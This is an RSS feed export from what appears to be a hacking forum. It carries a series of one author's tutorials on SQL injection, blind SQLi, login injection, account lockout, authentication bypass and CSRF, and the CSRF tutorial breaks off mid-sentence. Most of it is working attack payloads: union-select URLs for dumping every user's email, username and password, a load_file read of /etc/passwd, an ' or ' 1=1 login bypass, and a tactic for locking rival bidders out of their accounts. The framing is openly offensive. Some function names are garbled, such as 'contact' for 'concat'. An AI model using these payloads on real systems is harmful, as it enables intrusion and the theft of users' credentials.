<?xml version="1.0" encoding="ISO-8859-1"?>

<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
	<channel>
		<title><![CDATA[InterN0T - Underground Security Training - Web Hacking & War Games]]></title>
		<link>http://forum.intern0t.net/</link>
		<description>Discuss f.ex. SQL injection and legal hacking here.</description>
		<language>en</language>
		<lastBuildDate>Tue, 07 Sep 2010 16:06:39 GMT</lastBuildDate>
		<generator>vBulletin</generator>
		<ttl>60</ttl>
		<image>
			<url>http://forum.intern0t.net/electric/misc/rss.jpg</url>
			<title><![CDATA[InterN0T - Underground Security Training - Web Hacking & War Games]]></title>
			<link>http://forum.intern0t.net/</link>
		</image>
		<item>
			<title>Guide Regular SQL Injection</title>
			<link>http://forum.intern0t.net/web-hacking-war-games/2942-regular-sql-injection.html</link>
			<pubDate>Thu, 12 Aug 2010 18:33:09 GMT</pubDate>
			<description><![CDATA[SQLi guide 
 
First thing you need to know, is that SQL can be tricky sometimes. Even if something looks vulnerable, it isn't always, but that works...]]></description>
			<content:encoded><![CDATA[<div>SQLi guide<br />
<br />
First thing you need to know, is that SQL can be tricky sometimes. Even if something looks vulnerable, it isn't always, but that works the othe way around too.<br />
<br />
There are a few different types of SQLi, they are. Regular SQLi, Blind SQLi, Advanced SQLi, Indepth SQLi, Extensive SQLi, and Deep SQLi.<br />
<br />
Now, what ways can we use an SQLi?<br />
Well, there are URL, Input validation boxes/forms. Those are the most common two. But it's also possible to do via <acronym title="Cross Site Scripting">XSS</acronym>, <acronym title="Remote File Inclusion">RFI</acronym>, <acronym title="Local File Inclusion">LFI</acronym>, and so on.<br />
<br />
What can we gain from a successfull SQLi?<br />
Database access.. Which is pretty much everything on the web server.<br />
<br />
This can be both useful and dangerous. If you were a web admin, and forgot your login cradentials, you could use an SQLi exploit that you had hidden for just this, but I wouldn't recomend this. But, if a hacker were to locate this, he could use the same thing to get your password, and every password on the database. <br />
<br />
But how does it work?<br />
Well, I'll explain it like this. <br />
So, lets pretend the DB(Database) is a cookie monster, and you're the person who wants some information out of the cookie monster. But, the cookie monster only gives this info to people who give him &quot;god cookies&quot;. But, alas you don't know how to make those cookies. So, you try giving him a vanilla cookie. Well, the cookie monster is alergic to vanilla, so he says **** you. Now what? Well, you can SQLi him. How do I do this? Well, you take your vanilla cookie and some magic sprinkles to it to make it a &quot;god cookie&quot;. Now, once the cookie monster eats this cookie, he will be under our controll. Now, we can get whatever info we want.<br />
<br />
Now, say we want to get access to an admin page, what would we do?<br />
Well, the first thing we would do is check if it has any sort of input validation. To do this, we could test the inputs, and hope its vulnerable, or, we could take a look at the source. Sometimes when we look at the source, and we see that the web dev was stupid. Which, works perfectly for us. <br />
<br />
So, lets say we want to exploit this via the URL, how would we do this? <br />
Well, we would look for a page that calls another page for info. Like, a game website. <div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">http://gamewebsite.com/game.php?game=184</code><hr />
</div>We see that, and are like. Well this could be exploitable. So, we just add a ' to the end. So, we'll assume we get an SQL error, or there is data missing from the page. Perfect, we know its vulnerable. But, now what do we do?  Well, we would use the ORDER BY command to see how many columns are in the DB. To do with, we would take the original URL, and do this: <div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">http://gamewebsite.com/game.php?game=184+ORDER+BY+10--</code><hr />
</div>Another way to see if a website is vulnerable to regular SQLi without the ' at the end, is to add +ORDER+BY+99999999999999999999999999-- to the end of the url. If an error shows, its vulnerable. If not, chances are they are filtering input, and it's not vulnerable to regular SQLi.<br />
<br />
That, would do one of two things.<br />
1) The page would load normally.<br />
2) We would get an error.<br />
<br />
If we get an error, we know there are less than that many columns. If it loads normally, we keep going higher until we find an error. So say the lowest number we can get an error at is 4, well, then we know there are 3 columns, and 4 doesn't exist (which is why we got the error).<br />
<br />
<br />
Now, onto finding the vulnerable column. Get rid of the +ORDER+BY in the URL, and replace it with +UNION+SELECT<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">http://gamewebsite.com/game.php?game=184+UNION+SELECT+1,2,3--</code><hr />
</div>(There are 3 columns).<br />
<br />
Once we send that, it should dispay a number on the page (it will be either 1,2,3). If no error displayed, that's okay. Some websites require you to null the value you are injecting into.  So the new URL would be:<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,2,3--</code><hr />
</div>All we did was add the - before 184<br />
<br />
So, lets assume that the page displayed a 2, that would mean that the second column is vulnerable.<br />
<br />
Now, we need to find the SQL version. How do we do this?<br />
Its quite simple actually. We just use the @@version command. This should return either a version 4.x or 5.x. To inject the @@version command, we would change the vulnerable column to that.<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,@@version,3--</code><hr />
</div>If the page loads completely normal, its alright. We sometimes need to convert the function in order for the SQL server to understand the command. This is usually the only thing that will need to be converted. But it's even rare that this needs to. So, if we didn't get the version number from the above command, then we would change it to:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,convert(@@version using latin1),3--</code><hr />
</div>And, if that even doesn't return the version, then we will also need to HEX the page. <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,unhex(hex(@@version)),3--</code><hr />
</div>That there, should show us the SQL version. It will either be version 4 or 5 something, like I said before.<br />
<br />
Now, version 4 is more of a pain in the ass, or most people think. Most guides and such don't show people how to get the table names from a version 4 sql db. But, we will be. The URL will be alot longer in this case.<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,concat(table_name,CHAR(58),column_name,CHAR(58),table_schema) from information_schema.columns where column_name like CHAR(37, 112, 97, 115, 37),3--</code><hr />
</div>That there should show the table names.. But, if it doesn't you are going to have to start guessing, which is why it's a pain in the ass..<br />
<br />
How do we do this?  well, we take our original URL and add: from *table name*<br />
<br />
Common table names are: <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">tbl_user, tbl_admin, tbl_access, user, users, member, members, admin, admins, customer, customers, orders, phpbb_users, phpbb_admins</code><hr />
</div><div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,2,3 from admin</code><hr />
</div>We get an error which means it doesn't exist.<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,2,3 from user</code><hr />
</div>We get another error..<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,2,3 from admins</code><hr />
</div>Still error.<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,2,3 from users</code><hr />
</div>No error. So, we know the table users exists.<br />
<br />
Now, we need to quess colimn names from the table we just figured out. Column names within this table would most likely be like:<br />
first_name, last_name, email, username, password, pass, user_id<br />
You have to use common sense in alot of this. Now we go back a few steps, and remember which column was vulnerable (2). So we replace the 2 with the column name you are hoping exists in the users table.<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,first_name,3 from users</code><hr />
</div>Error<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,last_name,3 from users</code><hr />
</div>Error<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,address,3 from users</code><hr />
</div>Error<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,username,3 from users</code><hr />
</div>No error.. So we know username exists. Now, we would want to see if the password column exists to for obvious reasons.<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,password,3 from users</code><hr />
</div>No error. That's good. Now, lets see if we can get the email address too.<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,email,3 from users</code><hr />
</div>Error.. Well ****..<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,email_address,3 from users</code><hr />
</div>No error, perfect. <br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">So we can see that in the table users, we can extract the email, username, and password.</code><hr />
</div>Doing it like this, will display the first line of information, which is normally the admin login. If we only wanted to get the admin's login info, we would use the contact() command. To do so, we would so womthing like:<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,contact(email,0x3a,username,0x3a,password),3 from users</code><hr />
</div>The 0x3a is there, because its the hex value of a semi-colon.<br />
<br />
That there, would show the email, username, then password of the first user on the DB.<br />
<br />
But of course, we want more than the admin's info. We want everyones. How else would we make a good login dump. To all the info from the columns we want to, we then have to use the group_contact() command. <br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,group_contact(email,0x3a,username,0x3a,password),3 from users</code><hr />
</div>That there would display all the emails, then usernames, then passwords of everything in the users table. <br />
<br />
Okay, now, if instead of getting a version 4, we got version 5, we would be very happy. Because 5 is the easist one to hack.  <br />
<br />
So, we want to get the table names. This time though, we don't have to guess. The URL would look something like this when exploiting it:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,table_name,3 from information_schema.tables</code><hr />
</div>That would display the first table name. Which again, we want more. So, what do we do? We use the group_concat()<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,group_concat(table_name),3 from information_schema.tables</code><hr />
</div>Sometimes, some of the table names will be cut off, because we are calling the tables from information_schema. So here, we would want to pull the data from the primary database, instead of information_schema.<br />
<br />
An example of this is:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,group_concat(table_name),3 from information_schema.tables+where+table_schema=database()</code><hr />
</div>All the tables from the primary DB should be displayed there. Some of which could be:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">About, Admin, Admins, User, Users, Affiliates, Access, Customer, etc</code><hr />
</div>No, we want to extract the data from those tables. Lets assume that there was just the users table. Well, we will change the data in the vulnerable column fom table_name, to column_name<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,group_concat(column_name),3 from information_schema.columns+where+table_name=*Hexed table name*</code><hr />
</div>So, if were were to try:<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,group_concat(column_name),3 from information_schema.columns+where+table_name=Users</code><hr />
</div>We would get an error, because we didn't HEX the table_name at the end. So, I hex my table name: Users: 5573657273. I used <a href="http://www.string-functions.com/string-hex.aspx" target="_blank">Convert String To Hexadecimal Online</a> but there are many others.<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,group_concat(column_name),3 from information_schema.columns+where+table_name=5573657273</code><hr />
</div>That there would again, give us an error, because e have to add the MYSQL Intiger right before the hex<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,group_concat(column_name),3 from information_schema.columns+where+table_name=0x5573657273</code><hr />
</div>Then, that would display all the columns under the table name of: Users.<br />
<br />
In this example, we will assume that first_name, last_name, email, username, password, and email are displayed. So, we would go back in the tutorial into if it was version 4, and it would be formed the same as the final command in there.<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">http://gamewebsite.com/game.php?game=-184+UNION+SELECT+1,group_concat(email,0x3a,username,0x3a,password),3 from Users</code><hr />
</div>That's about it for regular sqli.</div>

]]></content:encoded>
			<category domain="http://forum.intern0t.net/web-hacking-war-games/"><![CDATA[Web Hacking & War Games]]></category>
			<dc:creator>Starwiz</dc:creator>
			<guid isPermaLink="true">http://forum.intern0t.net/web-hacking-war-games/2942-regular-sql-injection.html</guid>
		</item>
		<item>
			<title>Guide Blind SQL Injection</title>
			<link>http://forum.intern0t.net/web-hacking-war-games/2941-blind-sql-injection.html</link>
			<pubDate>Thu, 12 Aug 2010 18:32:29 GMT</pubDate>
			<description><![CDATA[Okay, so this is my tutorial on BSQLi.. It's going to be extremely short, because for the info on how to exploit SQLi view my SQLi thread...]]></description>
			<content:encoded><![CDATA[<div>Okay, so this is my tutorial on BSQLi.. It's going to be extremely short, because for the info on how to exploit SQLi view my <a href="http://www.c0rrupt.net/97349j43948hdh8/showthread.php?t=8" target="_blank">SQLi thread</a>. <br />
 <br />
So, BSQLi is pretty much the same thing as SQLi, but, you have to check if it's exploitable a different way... And kinda exploit it different. <br />
 <br />
I'm going to start off by saying that BSQLi is a huge pain in the ass. And I wouldn't recomend doing it for random websites... Only those which you really want the info from. <br />
 <br />
So, to find it. You will have to prety much look for anywhere you would expect SQLi to be. And if you try and exploit it, and the code stays in the URL when you hit enter, but it's not exploitable to SQLi. Then it's exploitable by BSQLi. <br />
 <br />
Now, instead of just going until you have more than the number of collumns. With BSQLi you have to keep going up 1 by 1, until you get the error. One above, or one below will not give you the error. So you have to be careful not to miss it. An example would be: <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
www.victimsite.com/index.php?page=1'</code><hr />
</div>Now, you look at that, hit enter, and nothing happens. Well ****, there goes sqli.. But.. What about Bsqli.. <br />
So, we go like: <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
www.victimsite.com/index.php?page=1 UNION SELECT 1--</code><hr />
</div>Nothing.. ****. <br />
 <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
www.victimsite.com/index.php?page=1 UNION SELECT 1,2--</code><hr />
</div>Nothing.. ****. <br />
 <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
www.victimsite.com/index.php?page=1 UNION SELECT 12,3--</code><hr />
</div>Still nothing.. Over and over and over and over... And over again.  <br />
 <br />
So, we finally find an error at 5. <br />
 <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
www.victimsite.com/index.php?page=1 UNION SELECT 1,2,3,4,5--</code><hr />
</div>That's pretty good actually. Not too many. <br />
Then once you found the number of collumns, you have to try and find the vulnerable one... Again, you pretty much have to just go up one by one  <br />
 <br />
So  <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
www.victimsite.com/index.php?page=1 UNION SELECT version(),2,3,4,5--</code><hr />
</div>Nope.. <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
www.victimsite.com/index.php?page=1 UNION SELECT 1,version(),3,4,5--</code><hr />
</div>So on so on until you get the version.. Which would mean you found the vulnerable column. Nice job. But, it's not done yet. <br />
Now, we have to guess for the table names :\... Trying to get it from the information_schema is useless too... It wont display anything at all.. The most common tables are: <br />
 <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
user, users, username, user_name, pass, password, pwd, user_pwd, admin, administrator, admin_id, admin_pass and so on</code><hr />
</div>That's pretty much it. It's similar to SQLi.. Except for you have to guess everything.</div>

]]></content:encoded>
			<category domain="http://forum.intern0t.net/web-hacking-war-games/"><![CDATA[Web Hacking & War Games]]></category>
			<dc:creator>Starwiz</dc:creator>
			<guid isPermaLink="true">http://forum.intern0t.net/web-hacking-war-games/2941-blind-sql-injection.html</guid>
		</item>
		<item>
			<title>Guide SQL Login Injection</title>
			<link>http://forum.intern0t.net/web-hacking-war-games/2940-sql-login-injection.html</link>
			<pubDate>Thu, 12 Aug 2010 18:31:55 GMT</pubDate>
			<description>In this tutorial, I am going to explain how to exploit an SQL Authentication vulnerability.  
  
Reading files is possible through the login forms on...</description>
			<content:encoded><![CDATA[<div>In this tutorial, I am going to explain how to exploit an SQL Authentication vulnerability. <br />
 <br />
Reading files is possible through the login forms on a website. An example of vulnerable code is: <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
&nbsp; &nbsp; &lt;?php <br />
&nbsp; &nbsp; $id = $_GET['id']; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $result = mysql_query( &quot;SELECT name FROM members WHERE id = '$id'&quot;); <br />
&nbsp; &nbsp; ?&gt;</code><hr />
</div>If we look at the above code, we can see that it doesn't filter sql commands. Which, is most definitely a good thing if you're trying to get it. Since it doesn't filter the input, we could try and inject some SQL code into it via the &quot;id&quot; variable: <br />
 <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
htttp://www.theirwebsite.com/login.php?id=1+union+all+select+1,null,load_file('etc/passwd'),4--</code><hr />
</div>After inputing that, we should see the /etc/passwd file. But for that to work, the user needs to have permission to view the files, and magic_quotes has to be off. <br />
 <br />
 <br />
It's also possible to bypass the login authentication of some forms. If the login.php file contained: <br />
 <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
$postbruger = $_POST['username']; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $postpass = md5($_POST['password']);&nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $resultat = mysql_query(&quot;SELECT * FROM &quot; . $tablestart . &quot;login WHERE brugernavn = '$postbruger' AND password = '$postpass'&quot;)&nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; or die(&quot;&lt;p&gt;&quot; . mysql_error() . &quot;&lt;/p&gt;\n&quot;);</code><hr />
</div>Then it would be possible to inject an SQL statement which would log us in as the first user in the database, which is usually the admin. We could exploit this like: <br />
 <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
Username:admin ' or ' 1=1 <br />
Password:whateverthe****iwantittobe</code><hr />
</div>And boom goes the dynamite, we're logged in.. Now we can have fun as most likely an admin.</div>

]]></content:encoded>
			<category domain="http://forum.intern0t.net/web-hacking-war-games/"><![CDATA[Web Hacking & War Games]]></category>
			<dc:creator>Starwiz</dc:creator>
			<guid isPermaLink="true">http://forum.intern0t.net/web-hacking-war-games/2940-sql-login-injection.html</guid>
		</item>
		<item>
			<title>Guide Account Lockout</title>
			<link>http://forum.intern0t.net/web-hacking-war-games/2939-account-lockout.html</link>
			<pubDate>Thu, 12 Aug 2010 18:31:10 GMT</pubDate>
			<description><![CDATA[Okay, so pretty much, this is an extremely short tutorial, because all I'm really doing here is explaining to you what it is and then giving an...]]></description>
			<content:encoded><![CDATA[<div>Okay, so pretty much, this is an extremely short tutorial, because all I'm really doing here is explaining to you what it is and then giving an example of where it was used.. So, Account lockout attacking is when you know the UserID you want to lock out of their account, and the website you want to lock them out of has something set up so that after X wrong attempts, you cant login for 15 minutes or something. <br />
 <br />
Seems simple enough? Well, this at one point was a big problem in ebay.. But as I say this, you're probably wondering how it would matter on ebay. Well, Ebay used to be set up so that while bidding on something, it would show the highest bidders username. Which means an attacker could log off of their account, login to the account that is trying to outbid them, then fail the login enough times that it kicked them off the account, and locked it for a specific amount of time. Leaving the attacker to win the bidding because he would do that to everyone.. <br />
 <br />
Simple concept, but could be extremely useful in attacking a website, or just ****ing with stuff :P.</div>

]]></content:encoded>
			<category domain="http://forum.intern0t.net/web-hacking-war-games/"><![CDATA[Web Hacking & War Games]]></category>
			<dc:creator>Starwiz</dc:creator>
			<guid isPermaLink="true">http://forum.intern0t.net/web-hacking-war-games/2939-account-lockout.html</guid>
		</item>
		<item>
			<title>Guide Authentication Bypass</title>
			<link>http://forum.intern0t.net/web-hacking-war-games/2938-authentication-bypass.html</link>
			<pubDate>Thu, 12 Aug 2010 18:30:34 GMT</pubDate>
			<description><![CDATA[So here I will show you how to bypass authentication logins.. An piece of a horibly done anything.php is:  
 
Code: 
--------- 
  
     <?php  
    ...]]></description>
			<content:encoded><![CDATA[<div>So here I will show you how to bypass authentication logins.. An piece of a horibly done anything.php is: <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
&nbsp; &nbsp;  &lt;?php <br />
&nbsp; &nbsp;  if ($logged==true) { <br />
&nbsp; &nbsp;  echo 'Logged in.'; } <br />
&nbsp; &nbsp;  else { <br />
&nbsp; &nbsp;  print 'Not logged in.'; <br />
&nbsp; &nbsp;  } <br />
&nbsp; &nbsp;  ?&gt;</code><hr />
</div>So, to exploit this, all we would really have to do would be naviate to:  <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
http://www.example.com/anything.php?logged=1</code><hr />
</div>and boom goes the dynamite, we're logged in... You most likely will never find something that simple to exploit, unless the web dev is ****ing retarded...  <br />
 <br />
Another example through a login.php file: <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
&nbsp; if ($login_ok) <br />
&nbsp;  { <br />
&nbsp;  $_SESSION['loggato'] = true; <br />
&nbsp;  echo &quot;&lt;p&gt;$txt_pass_ok&lt;/p&gt;&quot;; <br />
&nbsp;  echo&quot;&lt;div align='center'&gt;&lt;a href='index.php'&gt;$txt_view_entry&lt;/a&gt; |&nbsp; <br />
&nbsp;  &lt;a href='admin.php'&gt;$txt_delete-$txt_edit&lt;/a&gt; | &lt;a href='install.php'&gt;$txt_install <br />
&nbsp;  &lt;/a&gt;&lt;/div&gt;&quot;; <br />
&nbsp;  }</code><hr />
</div>Well, all that really does, is check if login_okay is true, if it is, it gives us a session which is logged in. Well, that is simple to exploit... <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
http://www.example.com/login.php?login_okay=1</code><hr />
</div>And, we are logged in. You will also, most likely never find something like that... <br />
 <br />
Another example of authentication bypass is through the admin cp.. Odly enough, alot of the times an admin.php file wont check to make sure a user is logged in and has permissions. Some times it just assumes you are if you are navigating through those files... A bad idea. <br />
 <br />
Exploiting this would be incredibly simple, since we could just naviate to: <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
http://www.example.com/users/admin/files.php</code><hr />
</div>and we can access the admin panel.. Crazy enough.</div>

]]></content:encoded>
			<category domain="http://forum.intern0t.net/web-hacking-war-games/"><![CDATA[Web Hacking & War Games]]></category>
			<dc:creator>Starwiz</dc:creator>
			<guid isPermaLink="true">http://forum.intern0t.net/web-hacking-war-games/2938-authentication-bypass.html</guid>
		</item>
		<item>
			<title>Guide Cross Site Request Forgery</title>
			<link>http://forum.intern0t.net/web-hacking-war-games/2937-cross-site-request-forgery.html</link>
			<pubDate>Thu, 12 Aug 2010 18:30:00 GMT</pubDate>
			<description>This is my Cross Site Request Forgery tutorial.  
  
First off, I am going to clear up some miss-conceptions that people believe about CSRF.  
  
XSS...</description>
			<content:encoded><![CDATA[<div>This is my Cross Site Request Forgery tutorial. <br />
 <br />
First off, I am going to clear up some miss-conceptions that people believe about <acronym title="Cross Site Request Forgery">CSRF</acronym>. <br />
 <br />
<acronym title="Cross Site Scripting">XSS</acronym> and <acronym title="Cross Site Request Forgery">CSRF</acronym> aren't the same thing. They are completely different. <br />
<acronym title="Cross Site Request Forgery">CSRF</acronym> isn't useless. Some people don't think its a big thing, but, in reality it is. <br />
 <br />
Okay, so <acronym title="Cross Site Request Forgery">CSRF</acronym> is a simple thing to look for, but most scanners don't know how to find them because they are unique. But, all you really need to do, is make sure you're using <a href="http://www.mozilla.com/en-US/firefox/personal.html" target="_blank">Firefox</a>. Then, you are going to want to download <a href="https://addons.mozilla.org/en-US/firefox/addon/3829/" target="_blank">Live HTTP headers addon for firefox</a>.  <br />
 <br />
After you have both of those, you are going to want to check the link you want to exploit. To do so, just drag your mouse over the link and see if there is anything like a logout key. For example, my logout link for carderprofit.cc is similar to:   <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">http://c0rrupt.net/97349j43948hdh8/login.php?do=logout&amp;logouthash=1279007725-12d0684b998c1a47e8a942c358cb003e1d0cc5f7</code><hr />
</div>Now, of course I didn't post my actual link, because that would allow anyone who is reading this to make me logout. <br />
 <br />
How? <br />
 <br />
Okay, so lets say that there wasn't a logout key, for our example.  So, the logout would be: <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left"> <br />
http://c0rrupt.net/97349j43948hdh8/login.php?do=logout</code><hr />
</div>To exploit that, we would just need to put it in some image tags for a forum. Something like: <br />
